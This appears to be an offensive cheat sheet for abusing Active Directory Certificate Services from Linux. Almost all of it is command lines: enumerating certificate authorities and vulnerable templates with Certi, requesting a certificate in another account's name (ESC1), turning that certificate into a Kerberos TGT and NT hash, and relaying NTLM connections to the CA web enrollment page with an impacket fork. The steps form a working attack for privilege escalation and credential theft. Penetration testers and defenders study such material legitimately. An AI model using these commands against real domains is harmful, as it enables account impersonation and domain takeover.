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PKI Abuse CheatSheet

PKI Abuse

Some golden links when you are having issues: https://social.technet.microsoft.com/Forums/windows/en-US/96016a13-9062-4842-b534-203d2f400cae/ca-certificate-request-error-quotdenied-by-policy-module-0x80094800quot-windows-server-2008?forum=winserversecurity

Enumerating ADCS On Linux

Download and install Certi

git clone https://github.com/eloypgz/certi
cd certi
sudo python3 setup.py install

Certi only support kerberos auth, so to perform authenticated enumeration, you need to fetch a TGT for a valid user first.

getTGT.py '<domain>/<username>:<password>' -dc-ip <dc-ip>

Set the env var to the output ccache

export KRB5CCNAME=<username>.ccache

Enumerate Certificate Authorities on the domain (CA's)

python3 certi.py list '<domain>/<username>' -k -n --dc-ip <dc-ip> --class ca

Enumerate vuln templates

python3 certi.py list '<domain>/<username>' -k -n --dc-ip <dc-ip> --vuln --enable

Requesting certs from CA Linux

Requesting a cert with an alt subject name (ESC1)

python3 certi.py req '<domain>/<username>@<ca-server>' <ca-service-name> -k -n --dc-ip <dc-ip> --template <vuln-template> --alt-name <target-domain-account>

Authenticating using cert on Linux

Request an TGT from Certificate with Client Auth or Smart Card Auth

python3 gettgtpkinit.py <domain>/<username> -cert-pfx <pfx-certificate-file> -pfx-pass <certificate-password> admin_tgt.ccache   

Get NTHash from requestd TGT above (KEY is outputed from the command above)

python3 getnthash.py -key <AS-REP-encryption-key> -dc-ip <dc-ip> <domain>/<username> output_tgt.ccache

Relaying On Linux

Relaying incoming SMB/HTTP connection to ADCS to generate a certificate on

Fetch and install a custom fork of impacket

git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
git checkout ntlmrelayx-adcs-attack

Create a virtual python env to contain this version of impacket (Avoid breaking the release you already have installed)

apt install python3-venv
python3 -m venv adcs-impacket

Move "into" this virutal env

source adcs-impacket/bin/activate

Still inside the impacket folder

pip3 install .

You can now setup ntlmrelay for realying

python3 examples/ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs --template <template-name>

Authentication using certificate on Linux

python3 gettgtpkinit.py <domain>/<username> -pfx-base64 $(cat <base64-cert.file>) -dc-ip <dc-ip> out_tgt.ccache
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